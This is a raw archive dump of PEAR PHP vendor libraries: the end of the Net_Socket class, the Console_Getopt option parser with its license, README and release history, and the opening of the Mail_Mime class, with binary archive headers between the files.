                    $meta_data = $this->getStatus();

                    if (!is_array($meta_data)) {
                        return $meta_data; // PEAR_Error
                    }

                    if (!empty($meta_data['timed_out'])) {
                        return $this->raiseError('timed out');
                    }

                    return $written;
                }

                $pos += $written;
            }

            return $pos;
        }
    }

    /**
     * Write a line of data to the socket, followed by a trailing newline.
     *
     * @param string $data Data to write
     *
     * @access public
     * @return mixed fwrite() result, or PEAR_Error when not connected
     */
    function writeLine($data)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        return fwrite($this->fp, $data . $this->newline);
    }

    /**
     * Tests for end-of-file on a socket descriptor.
     *
     * Also returns true if the socket is disconnected.
     *
     * @access public
     * @return bool
     */
    function eof()
    {
        return (!is_resource($this->fp) || feof($this->fp));
    }

    /**
     * Reads a byte of data
     *
     * @access public
     * @return 1 byte of data from the socket, or a PEAR_Error if
     *         not connected.
     */
    function readByte()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        return ord(@fread($this->fp, 1));
    }

    /**
     * Reads a word of data
     *
     * @access public
     * @return 1 word of data from the socket, or a PEAR_Error if
     *         not connected.
     */
    function readWord()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $buf = @fread($this->fp, 2);
        return (ord($buf[0]) + (ord($buf[1]) << 8));
    }

    /**
     * Reads an int of data
     *
     * @access public
     * @return integer  1 int of data from the socket, or a PEAR_Error if
     *                  not connected.
     */
    function readInt()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $buf = @fread($this->fp, 4);
        return (ord($buf[0]) + (ord($buf[1]) << 8) +
                (ord($buf[2]) << 16) + (ord($buf[3]) << 24));
    }

    /**
     * Reads a zero-terminated string of data
     *
     * @access public
     * @return string, or a PEAR_Error if
     *         not connected.
     */
    function readString()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $string = '';
        while (($char = @fread($this->fp, 1)) != "\x00") {
            $string .= $char;
        }
        return $string;
    }

    /**
     * Reads an IP Address and returns it in a dot formatted string
     *
     * @access public
     * @return Dot formatted string, or a PEAR_Error if
     *         not connected.
     */
    function readIPAddress()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $buf = @fread($this->fp, 4);
        return sprintf('%d.%d.%d.%d', ord($buf[0]), ord($buf[1]),
                       ord($buf[2]), ord($buf[3]));
    }

    /**
     * Read until either the end of the socket or a newline, whichever
     * comes first. Strips the trailing newline from the returned data.
     *
     * @access public
     * @return All available data up to a newline, without that
     *         newline, or until the end of the socket, or a PEAR_Error if
     *         not connected.
     */
    function readLine()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $line = '';

        $timeout = time() + $this->timeout;

        while (!feof($this->fp) && (!$this->timeout || time() < $timeout)) {
            $line .= @fgets($this->fp, $this->lineLength);
            if (substr($line, -1) == "\n") {
                return rtrim($line, $this->newline);
            }
        }
        return $line;
    }

    /**
     * Read until the socket closes, or until there is no more data in
     * the inner PHP buffer. If the inner buffer is empty, in blocking
     * mode we wait for at least 1 byte of data. Therefore, in
     * blocking mode, if there is no data at all to be read, this
     * function will never exit (unless the socket is closed on the
     * remote end).
     *
     * @access public
     *
     * @return string  All data until the socket closes, or a PEAR_Error if
     *                 not connected.
     */
    function readAll()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $data = '';
        while (!feof($this->fp)) {
            $data .= @fread($this->fp, $this->lineLength);
        }
        return $data;
    }

    /**
     * Runs the equivalent of the select() system call on the socket
     * with a timeout specified by tv_sec and tv_usec.
     *
     * @param integer $state   Which of read/write/error to check for.
     * @param integer $tv_sec  Number of seconds for timeout.
     * @param integer $tv_usec Number of microseconds for timeout.
     *
     * @access public
     * @return False if select fails, integer describing which of read/write/error
     *         are ready, or PEAR_Error if not connected.
     */
    function select($state, $tv_sec, $tv_usec = 0)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $read   = null;
        $write  = null;
        $except = null;
        if ($state & NET_SOCKET_READ) {
            $read[] = $this->fp;
        }
        if ($state & NET_SOCKET_WRITE) {
            $write[] = $this->fp;
        }
        if ($state & NET_SOCKET_ERROR) {
            $except[] = $this->fp;
        }
        if (false === ($sr = stream_select($read, $write, $except,
                                          $tv_sec, $tv_usec))) {
            return false;
        }

        $result = 0;
        if (count($read)) {
            $result |= NET_SOCKET_READ;
        }
        if (count($write)) {
            $result |= NET_SOCKET_WRITE;
        }
        if (count($except)) {
            $result |= NET_SOCKET_ERROR;
        }
        return $result;
    }

    /**
     * Turns encryption on/off on a connected socket.
     *
     * @param bool    $enabled Set this parameter to true to enable encryption
     *                         and false to disable encryption.
     * @param integer $type    Type of encryption. See stream_socket_enable_crypto()
     *                         for values.
     *
     * @see    http://se.php.net/manual/en/function.stream-socket-enable-crypto.php
     * @access public
     * @return false on error, true on success and 0 if there isn't enough data
     *         and the user should try again (non-blocking sockets only).
     *         A PEAR_Error object is returned if the socket is not
     *         connected
     */
    function enableCrypto($enabled, $type)
    {
        if (version_compare(phpversion(), "5.1.0", ">=")) {
            if (!is_resource($this->fp)) {
                return $this->raiseError('not connected');
            }
            return @stream_socket_enable_crypto($this->fp, $enabled, $type);
        } else {
            $msg = 'Net_Socket::enableCrypto() requires php version >= 5.1.0';
            return $this->raiseError($msg);
        }
    }

}
PK
h�\��0AC5C5-vendor/pear/console_getopt/Console/Getopt.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
 * PHP Version 5
 *
 * Copyright (c) 2001-2015, The PEAR developers
 *
 * This source file is subject to the BSD-2-Clause license,
 * that is bundled with this package in the file LICENSE, and is
 * available through the world-wide-web at the following url:
 * http://opensource.org/licenses/bsd-license.php.
 *
 * @category Console
 * @package  Console_Getopt
 * @author   Andrei Zmievski <andrei@php.net>
 * @license  http://opensource.org/licenses/bsd-license.php BSD-2-Clause
 * @version  CVS: $Id$
 * @link     http://pear.php.net/package/Console_Getopt
 */

require_once 'PEAR.php';

/**
 * Command-line options parsing class.
 *
 * @category Console
 * @package  Console_Getopt
 * @author   Andrei Zmievski <andrei@php.net>
 * @license  http://opensource.org/licenses/bsd-license.php BSD-2-Clause
 * @link     http://pear.php.net/package/Console_Getopt
 */
class Console_Getopt
{

    /**
     * Parses the command-line options.
     *
     * The first parameter to this function should be the list of command-line
     * arguments without the leading reference to the running program.
     *
     * The second parameter is a string of allowed short options. Each of the
     * option letters can be followed by a colon ':' to specify that the option
     * requires an argument, or a double colon '::' to specify that the option
     * takes an optional argument.
     *
     * The third argument is an optional array of allowed long options. The
     * leading '--' should not be included in the option name. Options that
     * require an argument should be followed by '=', and options that take an
     * option argument should be followed by '=='.
     *
     * The return value is an array of two elements: the list of parsed
     * options and the list of non-option command-line arguments. Each entry in
     * the list of parsed options is a pair of elements - the first one
     * specifies the option, and the second one specifies the option argument,
     * if there was one.
     *
     * Long and short options can be mixed.
     *
     * Most of the semantics of this function are based on GNU getopt_long().
     *
     * @param array  $args          an array of command-line arguments
     * @param string $short_options specifies the list of allowed short options
     * @param array  $long_options  specifies the list of allowed long options
     * @param boolean $skip_unknown suppresses Console_Getopt: unrecognized option
     *
     * @return array two-element array containing the list of parsed options and
     * the non-option arguments
     */
    public static function getopt2($args, $short_options, $long_options = null, $skip_unknown = false)
    {
        return Console_Getopt::doGetopt(2, $args, $short_options, $long_options, $skip_unknown);
    }

    /**
     * This function expects $args to start with the script name (POSIX-style).
     * Preserved for backwards compatibility.
     *
     * @param array  $args          an array of command-line arguments
     * @param string $short_options specifies the list of allowed short options
     * @param array  $long_options  specifies the list of allowed long options
     *
     * @see getopt2()
     * @return array two-element array containing the list of parsed options and
     * the non-option arguments
     */
    public static function getopt($args, $short_options, $long_options = null, $skip_unknown = false)
    {
        return Console_Getopt::doGetopt(1, $args, $short_options, $long_options, $skip_unknown);
    }

    /**
     * The actual implementation of the argument parsing code.
     *
     * @param int    $version       Version to use
     * @param array  $args          an array of command-line arguments
     * @param string $short_options specifies the list of allowed short options
     * @param array  $long_options  specifies the list of allowed long options
     * @param boolean $skip_unknown suppresses Console_Getopt: unrecognized option
     *
     * @return array
     */
    public static function doGetopt($version, $args, $short_options, $long_options = null, $skip_unknown = false)
    {
        // in case you pass directly readPHPArgv() as the first arg
        if (PEAR::isError($args)) {
            return $args;
        }

        if (empty($args)) {
            return array(array(), array());
        }

        $non_opts = $opts = array();

        settype($args, 'array');

        if ($long_options) {
            sort($long_options);
        }

        /*
         * Preserve backwards compatibility with callers that relied on
         * erroneous POSIX fix.
         */
        if ($version < 2) {
            if (isset($args[0][0]) && $args[0][0] != '-') {
                array_shift($args);
            }
        }

        for ($i = 0; $i < count($args); $i++) {
            $arg = $args[$i];
            /* The special element '--' means explicit end of
               options. Treat the rest of the arguments as non-options
               and end the loop. */
            if ($arg == '--') {
                $non_opts = array_merge($non_opts, array_slice($args, $i + 1));
                break;
            }

            if ($arg[0] != '-' || (strlen($arg) > 1 && $arg[1] == '-' && !$long_options)) {
                $non_opts = array_merge($non_opts, array_slice($args, $i));
                break;
            } elseif (strlen($arg) > 1 && $arg[1] == '-') {
                $error = Console_Getopt::_parseLongOption(substr($arg, 2),
                                                          $long_options,
                                                          $opts,
                                                          $i,
                                                          $args,
                                                          $skip_unknown);
                if (PEAR::isError($error)) {
                    return $error;
                }
            } elseif ($arg == '-') {
                // - is stdin
                $non_opts = array_merge($non_opts, array_slice($args, $i));
                break;
            } else {
                $error = Console_Getopt::_parseShortOption(substr($arg, 1),
                                                           $short_options,
                                                           $opts,
                                                           $i,
                                                           $args,
                                                           $skip_unknown);
                if (PEAR::isError($error)) {
                    return $error;
                }
            }
        }

        return array($opts, $non_opts);
    }

    /**
     * Parse short option
     *
     * @param string     $arg           Argument
     * @param string[]   $short_options Available short options
     * @param string[][] &$opts
     * @param int        &$argIdx
     * @param string[]   $args
     * @param boolean    $skip_unknown suppresses Console_Getopt: unrecognized option
     *
     * @return void
     */
    protected static function _parseShortOption($arg, $short_options, &$opts, &$argIdx, $args, $skip_unknown)
    {
        for ($i = 0; $i < strlen($arg); $i++) {
            $opt     = $arg[$i];
            $opt_arg = null;

            /* Try to find the short option in the specifier string. */
            if (($spec = strstr($short_options, $opt)) === false || $arg[$i] == ':') {
                if ($skip_unknown === true) {
                    break;
                }

                $msg = "Console_Getopt: unrecognized option -- $opt";
                return PEAR::raiseError($msg);
            }

            if (strlen($spec) > 1 && $spec[1] == ':') {
                if (strlen($spec) > 2 && $spec[2] == ':') {
                    if ($i + 1 < strlen($arg)) {
                        /* Option takes an optional argument. Use the remainder of
                           the arg string if there is anything left. */
                        $opts[] = array($opt, substr($arg, $i + 1));
                        break;
                    }
                } else {
                    /* Option requires an argument. Use the remainder of the arg
                       string if there is anything left. */
                    if ($i + 1 < strlen($arg)) {
                        $opts[] = array($opt,  substr($arg, $i + 1));
                        break;
                    } else if (isset($args[++$argIdx])) {
                        $opt_arg = $args[$argIdx];
                        /* Else use the next argument. */;
                        if (Console_Getopt::_isShortOpt($opt_arg)
                            || Console_Getopt::_isLongOpt($opt_arg)) {
                            $msg = "option requires an argument --$opt";
                            return PEAR::raiseError("Console_Getopt: " . $msg);
                        }
                    } else {
                        $msg = "option requires an argument --$opt";
                        return PEAR::raiseError("Console_Getopt: " . $msg);
                    }
                }
            }

            $opts[] = array($opt, $opt_arg);
        }
    }

    /**
     * Checks if an argument is a short option
     *
     * @param string $arg Argument to check
     *
     * @return bool
     */
    protected static function _isShortOpt($arg)
    {
        return strlen($arg) == 2 && $arg[0] == '-'
               && preg_match('/[a-zA-Z]/', $arg[1]);
    }

    /**
     * Checks if an argument is a long option
     *
     * @param string $arg Argument to check
     *
     * @return bool
     */
    protected static function _isLongOpt($arg)
    {
        return strlen($arg) > 2 && $arg[0] == '-' && $arg[1] == '-' &&
               preg_match('/[a-zA-Z]+$/', substr($arg, 2));
    }

    /**
     * Parse long option
     *
     * @param string     $arg          Argument
     * @param string[]   $long_options Available long options
     * @param string[][] &$opts
     * @param int        &$argIdx
     * @param string[]   $args
     *
     * @return void|PEAR_Error
     */
    protected static function _parseLongOption($arg, $long_options, &$opts, &$argIdx, $args, $skip_unknown)
    {
        @list($opt, $opt_arg) = explode('=', $arg, 2);

        $opt_len = strlen($opt);

        for ($i = 0; $i < count($long_options); $i++) {
            $long_opt  = $long_options[$i];
            $opt_start = substr($long_opt, 0, $opt_len);

            $long_opt_name = str_replace('=', '', $long_opt);

            /* Option doesn't match. Go on to the next one. */
            if ($long_opt_name != $opt) {
                continue;
            }

            $opt_rest = substr($long_opt, $opt_len);

            /* Check that the options uniquely matches one of the allowed
               options. */
            if ($i + 1 < count($long_options)) {
                $next_option_rest = substr($long_options[$i + 1], $opt_len);
            } else {
                $next_option_rest = '';
            }

            if ($opt_rest != '' && $opt[0] != '=' &&
                $i + 1 < count($long_options) &&
                $opt == substr($long_options[$i+1], 0, $opt_len) &&
                $next_option_rest != '' &&
                $next_option_rest[0] != '=') {

                $msg = "Console_Getopt: option --$opt is ambiguous";
                return PEAR::raiseError($msg);
            }

            if (substr($long_opt, -1) == '=') {
                if (substr($long_opt, -2) != '==') {
                    /* Long option requires an argument.
                       Take the next argument if one wasn't specified. */;
                    if (!strlen($opt_arg)) {
                        if (!isset($args[++$argIdx])) {
                            $msg = "Console_Getopt: option requires an argument --$opt";
                            return PEAR::raiseError($msg);
                        }
                        $opt_arg = $args[$argIdx];
                    }

                    if (Console_Getopt::_isShortOpt($opt_arg)
                        || Console_Getopt::_isLongOpt($opt_arg)) {
                        $msg = "Console_Getopt: option requires an argument --$opt";
                        return PEAR::raiseError($msg);
                    }
                }
            } else if ($opt_arg) {
                $msg = "Console_Getopt: option --$opt doesn't allow an argument";
                return PEAR::raiseError($msg);
            }

            $opts[] = array('--' . $opt, $opt_arg);
            return;
        }

        if ($skip_unknown === true) {
            return;
        }

        return PEAR::raiseError("Console_Getopt: unrecognized option --$opt");
    }

    /**
     * Safely read the $argv PHP array across different PHP configurations.
     * Will take care on register_globals and register_argc_argv ini directives
     *
     * @return mixed the $argv PHP array or PEAR error if not registered
     */
    public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

}
PK
h�\+L�uu(vendor/pear/console_getopt/composer.jsonnu�[���{
    "authors": [
        {
            "email": "andrei@php.net",
            "name": "Andrei Zmievski",
            "role": "Lead"
        },
        {
            "email": "stig@php.net",
            "name": "Stig Bakken",
            "role": "Developer"
        },
        {
            "email": "cellog@php.net",
            "name": "Greg Beaver",
            "role": "Helper"
        }
    ],
    "autoload": {
        "psr-0": {
            "Console": "./"
        }
    },
    "description": "More info available on: http://pear.php.net/package/Console_Getopt",
    "include-path": [
        "./"
    ],
    "license": "BSD-2-Clause",
    "name": "pear/console_getopt",
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Console_Getopt",
        "source": "https://github.com/pear/Console_Getopt"
    },
    "type": "library"
}
PK
h�\K��K"vendor/pear/console_getopt/LICENSEnu�[���Copyright (c) 2001-2015, The PEAR developers
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK
h�\ׁ���%vendor/pear/console_getopt/README.rstnu�[���*******************************************
Console_Getopt - Command-line option parser
*******************************************

This is a PHP implementation of "getopt" supporting both short and long options.
It helps parsing command line options in your PHP script.

Homepage: http://pear.php.net/package/Console_Getopt

.. image:: https://travis-ci.org/pear/Console_Getopt.svg?branch=master
    :target: https://travis-ci.org/pear/Console_Getopt


Alternatives
============

* Console_CommandLine__ (recommended)
* Console_GetoptPlus__

__ http://pear.php.net/package/Console_CommandLine
__ http://pear.php.net/package/Console_GetoptPlus


License
=======
BSD-2-Clause
PK
h�\���S^^&vendor/pear/console_getopt/package.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<package packagerversion="1.9.2" version="2.0" xmlns="http://pear.php.net/dtd/package-2.0" xmlns:tasks="http://pear.php.net/dtd/tasks-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0 http://pear.php.net/dtd/tasks-1.0.xsd http://pear.php.net/dtd/package-2.0 http://pear.php.net/dtd/package-2.0.xsd">
 <name>Console_Getopt</name>
 <channel>pear.php.net</channel>
 <summary>Command-line option parser</summary>
 <description>This is a PHP implementation of &quot;getopt&quot; supporting both
short and long options.</description>
 <lead>
  <name>Andrei Zmievski</name>
  <user>andrei</user>
  <email>andrei@php.net</email>
  <active>no</active>
 </lead>
 <developer>
  <name>Stig Bakken</name>
  <user>ssb</user>
  <email>stig@php.net</email>
  <active>no</active>
 </developer>
 <helper>
  <name>Greg Beaver</name>
  <user>cellog</user>
  <email>cellog@php.net</email>
  <active>no</active>
 </helper>

 <date>2019-11-20</date>
 <version>
  <release>1.4.3</release>
  <api>1.4.0</api>
 </version>
 <stability>
  <release>stable</release>
  <api>stable</api>
 </stability>
 <license uri="http://opensource.org/licenses/bsd-license.php">BSD-2-Clause</license>

 <notes>
* PR #4:  Fix PHP 7.4 deprecation: array/string curly braces access
* PR #5:  fix phplint warnings
 </notes>

 <contents>
  <dir name="/">
   <dir name="Console">
    <file name="Getopt.php" role="php" />
   </dir>
   <dir name="tests">
    <file role="test" name="001-getopt.phpt" />
    <file role="test" name="bug10557.phpt" />
    <file role="test" name="bug11068.phpt" />
    <file role="test" name="bug13140.phpt" />
   </dir>
  </dir>
 </contents>

 <compatible>
  <name>PEAR</name>
  <channel>pear.php.net</channel>
  <min>1.4.0</min>
  <max>1.999.999</max>
 </compatible>

 <dependencies>
  <required>
   <php>
    <min>5.4.0</min>
   </php>
   <pearinstaller>
    <min>1.8.0</min>
   </pearinstaller>
  </required>
 </dependencies>

 <phprelease />

 <changelog>

  <release>
    <date>2019-11-20</date>
    <version>
     <release>1.4.3</release>
     <api>1.4.0</api>
    </version>
    <stability>
     <release>stable</release>
     <api>stable</api>
    </stability>
    <license uri="http://opensource.org/licenses/bsd-license.php">BSD-2-Clause</license>
    <notes>
    * PR #4:  Fix PHP 7.4 deprecation: array/string curly braces access
    * PR #5:  fix phplint warnings
    </notes>
  </release>

  <release>
    <date>2019-02-06</date>
    <version>
     <release>1.4.2</release>
     <api>1.4.0</api>
    </version>
    <stability>
     <release>stable</release>
     <api>stable</api>
    </stability>
    <license uri="http://opensource.org/licenses/bsd-license.php">BSD-2-Clause</license>
    <notes>
    * Remove use of each(), which is removed in PHP 8
    </notes>
  </release>

  <release>
    <date>2015-07-20</date>
    <version>
     <release>1.4.1</release>
     <api>1.4.0</api>
    </version>
    <stability>
     <release>stable</release>
     <api>stable</api>
    </stability>
    <license uri="http://opensource.org/licenses/bsd-license.php">BSD-2-Clause</license>
    <notes>
     * Fix unit test on PHP 7 [cweiske]
    </notes>
  </release>

  <release>
    <date>2015-02-22</date>
    <version>
     <release>1.4.0</release>
     <api>1.4.0</api>
    </version>
    <stability>
     <release>stable</release>
     <api>stable</api>
    </stability>
    <license uri="http://opensource.org/licenses/bsd-license.php">BSD-2-Clause</license>
    <notes>
     * Change license to BSD-2-Clause
     * Set minimum PHP version to 5.4.0
     * Mark static methods with "static" keyword
    </notes>
  </release>

  <release>
    <date>2011-03-07</date>
    <version>
     <release>1.3.1</release>
     <api>1.3.0</api>
    </version>
    <stability>
     <release>stable</release>
     <api>stable</api>
    </stability>
    <license uri="http://www.php.net/license">PHP License</license>
    <notes>
     * Change the minimum PEAR installer dep to be lower
    </notes>
  </release>

  <release>
    <date>2010-12-11</date>
    <time>20:20:13</time>
    <version>
     <release>1.3.0</release>
     <api>1.3.0</api>
    </version>
    <stability>
     <release>stable</release>
     <api>stable</api>
    </stability>
    <license uri="http://www.php.net/license">PHP License</license>
    <notes>
   * Implement Request #13140: [PATCH] to skip unknown parameters. [patch by rquadling, improved on by dufuz]
    </notes>
  </release>

  <release>
   <date>2007-06-12</date>
   <version>
    <release>1.2.3</release>
    <api>1.2.1</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
* fix Bug #11068: No way to read plain &quot;-&quot; option [cardoe]
   </notes>
  </release>
  <release>
   <version>
    <release>1.2.2</release>
    <api>1.2.1</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2007-02-17</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
* fix Bug #4475: An ambiguous error occurred when specifying similar longoption name.
* fix Bug #10055: Not failing properly on short options missing required values
   </notes>
  </release>
  <release>
   <version>
    <release>1.2.1</release>
    <api>1.2.1</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2006-12-08</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
Fixed bugs #4448 (Long parameter values truncated with longoption parameter) and #7444 (Trailing spaces after php closing tag)
   </notes>
  </release>
  <release>
   <version>
    <release>1.2</release>
    <api>1.2</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2003-12-11</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
Fix to preserve BC with 1.0 and allow correct behaviour for new users
   </notes>
  </release>
  <release>
   <version>
    <release>1.0</release>
    <api>1.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2002-09-13</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
Stable release
   </notes>
  </release>
  <release>
   <version>
    <release>0.11</release>
    <api>0.11</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <date>2002-05-26</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
POSIX getopt compatibility fix: treat first element of args
        array as command name
   </notes>
  </release>
  <release>
   <version>
    <release>0.10</release>
    <api>0.10</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <date>2002-05-12</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
Packaging fix
   </notes>
  </release>
  <release>
   <version>
    <release>0.9</release>
    <api>0.9</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <date>2002-05-12</date>
   <license uri="http://www.php.net/license">PHP License</license>
   <notes>
Initial release
   </notes>
  </release>
 </changelog>
</package>
PK
h�\DoPnn#vendor/pear/mail_mime/composer.jsonnu�[���{
    "authors": [
        {
            "email": "cipri@php.net",
            "name": "Cipriano Groenendal",
            "role": "Lead"
        },
        {
            "email": "alec@php.net",
            "name": "Aleksander Machniak",
            "role": "Lead"
        }
    ],
    "autoload": {
        "psr-0": {
            "Mail": "./"
        }
    },
    "description": "Mail_Mime provides classes to create MIME messages",
    "homepage": "http://pear.php.net/package/Mail_Mime",
    "include-path": [
        "./"
    ],
    "license": "BSD-3-Clause",
    "name": "pear/mail_mime",
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Mail_Mime",
        "source": "https://github.com/pear/Mail_Mime"
    },
    "type": "library",
    "require": {
        "php": ">=5.2.0",
        "pear/pear-core-minimal": "*"
    }
}
PK
h�\��Zjvendor/pear/mail_mime/READMEnu�[���This package is http://pear.php.net/package/Mail_Mime and has been migrated from http://svn.php.net/repository/pear/packages/Mail_Mime

Please report all new issues via the PEAR bug tracker.

If this package is marked as unmaintained and you have fixes, please submit your pull requests and start discussion on the pear-qa mailing list.

To test, run either
$ phpunit tests/
  or
$ pear run-tests -r

To build, simply
$ pear package

To install from scratch
$ pear install package.xml

To upgrade
$ pear upgrade -f package.xml
PK
h�\Z�8�g�g�#vendor/pear/mail_mime/Mail/mime.phpnu�[���<?php

/**
 * The Mail_Mime class is used to create MIME E-mail messages
 *
 * The Mail_Mime class provides an OO interface to create MIME
 * enabled email messages. This way you can create emails that
 * contain plain-text bodies, HTML bodies, attachments, inline
 * images and specific headers.
 *
 * Compatible with PHP version 5, 7 and 8
 *
 * LICENSE: This LICENSE is in the BSD license style.
 * Copyright (c) 2002-2003, Richard Heyes <richard@phpguru.org>
 * Copyright (c) 2003-2006, PEAR <pear-group@php.net>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or
 * without modification, are permitted provided that the following
 * conditions are met:
 *
 * - Redistributions of source code must retain the above copyright
 *   notice, this list of conditions and the following disclaimer.
 * - Redistributions in binary form must reproduce the above copyright
 *   notice, this list of conditions and the following disclaimer in the
 *   documentation and/or other materials provided with the distribution.
 * - Neither the name of the authors, nor the names of its contributors 
 *   may be used to endorse or promote products derived from this 
 *   software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 * THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category  Mail
 * @package   Mail_Mime
 * @author    Richard Heyes  <richard@phpguru.org>
 * @author    Tomas V.V. Cox <cox@idecnet.com>
 * @author    Cipriano Groenendal <cipri@php.net>
 * @author    Sean Coates <sean@php.net>
 * @author    Aleksander Machniak <alec@php.net>
 * @copyright 2003-2006 PEAR <pear-group@php.net>
 * @license   http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Mail_mime
 *
 *            This class is based on HTML Mime Mail class from
 *            Richard Heyes <richard@phpguru.org> which was based also
 *            in the mime_mail.class by Tobias Ratschiller <tobias@dnet.it>
 *            and Sascha Schumann <sascha@schumann.cx>
 */


require_once 'PEAR.php';
require_once 'Mail/mimePart.php';


/**
 * The Mail_Mime class provides an OO interface to create MIME
 * enabled email messages. This way you can create emails that
 * contain plain-text bodies, HTML bodies, attachments, inline
 * images and specific headers.
 *
 * @category  Mail
 * @package   Mail_Mime
 * @author    Richard Heyes  <richard@phpguru.org>
 * @author    Tomas V.V. Cox <cox@idecnet.com>
 * @author    Cipriano Groenendal <cipri@php.net>
 * @author    Sean Coates <sean@php.net>
 * @copyright 2003-2006 PEAR <pear-group@php.net>
 * @license   http://www.opensource.org/licenses/bsd-license.php BSD License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/Mail_mime
 */
class Mail_mime
{
    /**
     * Contains the plain text part of the email
     *
     * @var string
     */
    protected $txtbody = '';

    /**
     * Contains the html part of the email
     *
     * @var string
     */
    protected $htmlbody = '';

    /**
     * Contains the text/calendar part of the email
     *
     * @var string
     */
    protected $calbody = '';

    /**
     * List of the attached images
     *
     * @var array
     */
    protected $html_images = array();

    /**
     * List of the attachements
     *
     * @var array
     */
    protected $parts = array();

    /**
     * Headers for the mail
     *
     * @var array
     */
    protected $headers = array();

    /**
     * Build parameters
     *
     * @var array
     */
    protected $build_params = array(
        // What encoding to use for the headers
        // Options: quoted-printable or base64
        'head_encoding' => 'quoted-printable',
        // What encoding to use for plain text
        // Options: 7bit, 8bit, base64, or quoted-printable
        'text_encoding' => 'quoted-printable',
        // What encoding to use for html
        // Options: 7bit, 8bit, base64, or quoted-printable
        'html_encoding' => 'quoted-printable',
        // What encoding to use for calendar part
        // Options: 7bit, 8bit, base64, or quoted-printable
        'calendar_encoding' => 'quoted-printable',
        // The character set to use for html
        'html_charset'  => 'ISO-8859-1',
        // The character set to use for text
